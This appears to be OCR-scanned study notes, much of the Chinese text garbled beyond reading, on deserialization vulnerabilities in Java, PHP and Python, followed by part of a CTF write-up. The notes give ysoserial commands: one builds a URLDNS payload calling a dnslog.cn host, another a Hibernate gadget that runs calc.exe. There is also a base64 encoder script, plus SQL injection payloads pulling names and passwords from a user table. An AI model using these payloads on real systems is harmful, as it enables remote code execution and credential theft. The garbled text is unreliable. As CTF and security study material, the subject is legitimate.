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Java: Serializable Externalizable # M. fastjson. jackson. gson.
ObjectInputStream.read. ObjectObjectInputStream.readUnshared.
XMLDecoder.read. ObjectYaml.loadXStream.fromXML,
ObjectMapper.readvValue. JSON.parseObject &5

PHP: serialize (). wunserialize/()

Python: pickle
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2. HRERrE:

—BEARLL rooaB JFk, IRIEATT DA E X # 2 JAVA FPAUML base64 MM %
BF MR, aced T2k, MAMHRIX—B java FHIMLHK] 16 #E.

3. HILEAA:

http 24, cookie, sesion, f#ifi/i X HE/E base64 (r00), K4

base64 (H4s),MIT % Servlets http, Sockets, Session HHZE, HEHHNELE
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#J5/F API-Ysoserial URLDNS f§iH]
Serializable #M

Externalizable #H

B AR ) DNs F A
https://github.com/frohoff/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS

"http://%9ar7xl.dnslog.cn" > urldns.ser

# = M-Ysoserial SCHREAE RS
https://github.com/WebGoat/WebGoat

A A8 RCE -

1. #fl: java -Dhibernate5 -cp hibernate-core-
5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.GeneratePayload Hibernatel "calc.exe" > x.bin
2. f##: python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode (now)

print (ba)

file.close()

#EE M HT-SerializationDumper £ 74T
https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-vl1.13.jar -r urldns.ser >dns.txt

#CTF FEdl- [EHF 2020 K#H ] ThinkJava

0x01 VEAFIWT, FREVE I GRS %D:

RIS 4T Javaweb AR T, KILAT BEAAAETE NI
M swagger JFREEH, WA IR A Us a8 H 3EAT I A
HHE 4. myapp, 5144 name, pwd

TENI:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 &
/swagger-ui.html % M.
{

"password":"admin@Rrrr ctf asde",
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

